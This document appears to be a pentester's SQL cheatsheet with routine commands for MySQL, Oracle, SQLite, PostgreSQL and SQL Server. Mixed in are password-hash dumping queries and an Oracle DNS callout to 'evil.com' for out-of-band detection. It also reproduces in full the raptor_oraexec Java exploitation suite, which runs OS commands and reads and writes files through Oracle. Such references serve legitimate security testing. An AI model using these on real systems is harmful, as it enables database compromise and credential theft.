SQL Cheatsheet

Generic

Update field

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

Get first row of data from table

SELECT * FROM <table_name> LIMIT 1;

Single-line comment

-- stuff to comment out

Multi-line comment

/**
stuff to comment out
**/

Delete the last n rows from a table

DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID DESC)

Delete the first n rows from a table

DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID ASC)

Get the number of rows in a table

SELECT COUNT(*) FROM [table];

Resources

https://www.w3schools.com/sql/sql_update.asp
https://ask.sqlservercentral.com/questions/45952/deleting-last-n-rows-from-a-table.html

MySQL

Connect to database via command line

mysql -u username -h my.application.com [database name] -p
# Enter password

Run command from the CLI

mysql -u username -h my.application.com [database name] -p -e "show databases";

Create new remote access user

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypass';
CREATE USER 'myuser'@'%' IDENTIFIED BY 'mypass';
GRANT ALL ON *.* TO 'myuser'@'localhost';
GRANT ALL ON *.* TO 'myuser'@'%';

Create new remote access user with root privs

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'localhost' WITH GRANT OPTION;
CREATE USER 'myuser'@'%' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' WITH GRANT OPTION;
CREATE USER 'admin'@'localhost';
GRANT RELOAD,PROCESS ON *.* TO 'admin'@'localhost';
CREATE USER 'dummy'@'localhost';
FLUSH PRIVILEGES;

Resources: https://stackoverflow.com/questions/16747035/mysql-creating-a-user-with-root-privileges

Show databases

show databases;

Use database

USE [database name];

Show tables

show tables;

Get table schema

describe [database].[table]

Show users

SELECT user FROM mysql.user;

Get password hashes

SELECT host, user, password FROM mysql.user;

Show privileges of current user

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

Oracle

Get Permissions for current user

SELECT * FROM session_privs;

Get all db users

SELECT username FROM all_users ORDER BY username;

Get all tables and owners of those tables

SELECT owner, table_name FROM all_tables;

Get location of database files on filesystem

SELECT name FROM V$DATAFILE;

Make DNS request (OOB detection)

SELECT UTL_INADDR.get_host_address('evil.com/test') FROM dual;

Get running processes

select p.spid, s.username, s.program

from v$process p, v$session s

where p.addr=s.paddr order by 2, 3, 1

Get OS platform info

select platform_name from v$database;

Execute system commands

Try using raptor_oraexec:

--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system 
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
	/*
	 * Command execution module
	 */
	public static void execCommand(String command) throws IOException
	{
		Runtime.getRuntime().exec(command);
	}

	/*
	 * File reading module
	 */
	public static void readFile(String filename) throws IOException
	{
		FileReader f = new FileReader(filename);
		BufferedReader fr = new BufferedReader(f);
		String text = fr.readLine();
		while (text != null) {
			System.out.println(text);
			text = fr.readLine();
		}
		fr.close();
	}

	/*
	 * File writing module
	 */
	public static void writeFile(String filename, String line) throws IOException
	{
		FileWriter f = new FileWriter(filename, true); /* append */
		BufferedWriter fw = new BufferedWriter(f);
		fw.write(line);
		fw.write("\n");
		fw.close();
	}
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java           
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

Resources:

http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
http://www.oracle.com/technetwork/articles/linux/saternos-scripting-088882.html
http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

SQLite

Clear screen

Ctrl-l

Output to CSV

.headers on
.mode csv
.output <name of file>.csv
SELECT * FROM <table> WHERE <condition>;
.output stdout

Match wildcard information (like a regex)

SELECT * FROM <table> WHERE <column> LIKE '%<criteria to match%';

Resources:

https://stackoverflow.com/questions/6076984/sqlite-how-do-i-save-the-result-of-a-query-as-a-csv-file

PostgreSQL

List databases

\l

Current database

SELECT current_database();

Connect to database

\c <database_name>

List roles

SELECT rolname FROM pg_roles;

Create user

CREATE USER <user_name> WITH PASSWORD '<password>';

Drop user

DROP USER IF EXISTS <user_name>;

Show tables in database

\dt

Get table schema

\d <table name>

Insert data into table

INSERT INTO <table_name> VALUES( <value_1>, <value_2>);

Delete data from table

DELETE FROM <table_name> WHERE <column_name> = <value>;

Delete all data from table

DELETE FROM <table_name>;

Disconnect from database

\q

Resource: https://gist.github.com/apolloclark/ea5466d5929e63043dcf

Show queries being executed

select * from pg_stat_activity;
Resource: https://stackoverflow.com/questions/17654033/how-to-use-pg-stat-activity

Get password hashes

SELECT usename, passwd FROM pg_shadow;

Or use metasploit to grab and crack them with auxiliary/scanner/postgres/postgres_hashdump and auxiliary/analyze/jtr_postgres_fast

SQL Server

OSX Client

Download SQLPro for MSSQL from https://www.macsqlclient.com/

ESTABLISHING A CONNECTION on OSX

  1. Open SQLPro for MSSQL and click the New button
  2. Input the server name in this format: hostname\instance_name
  3. Specify SQL Server authentication for Authentication unless told otherwise.
  4. Put in the username for Login and the password for Password
  5. Click Save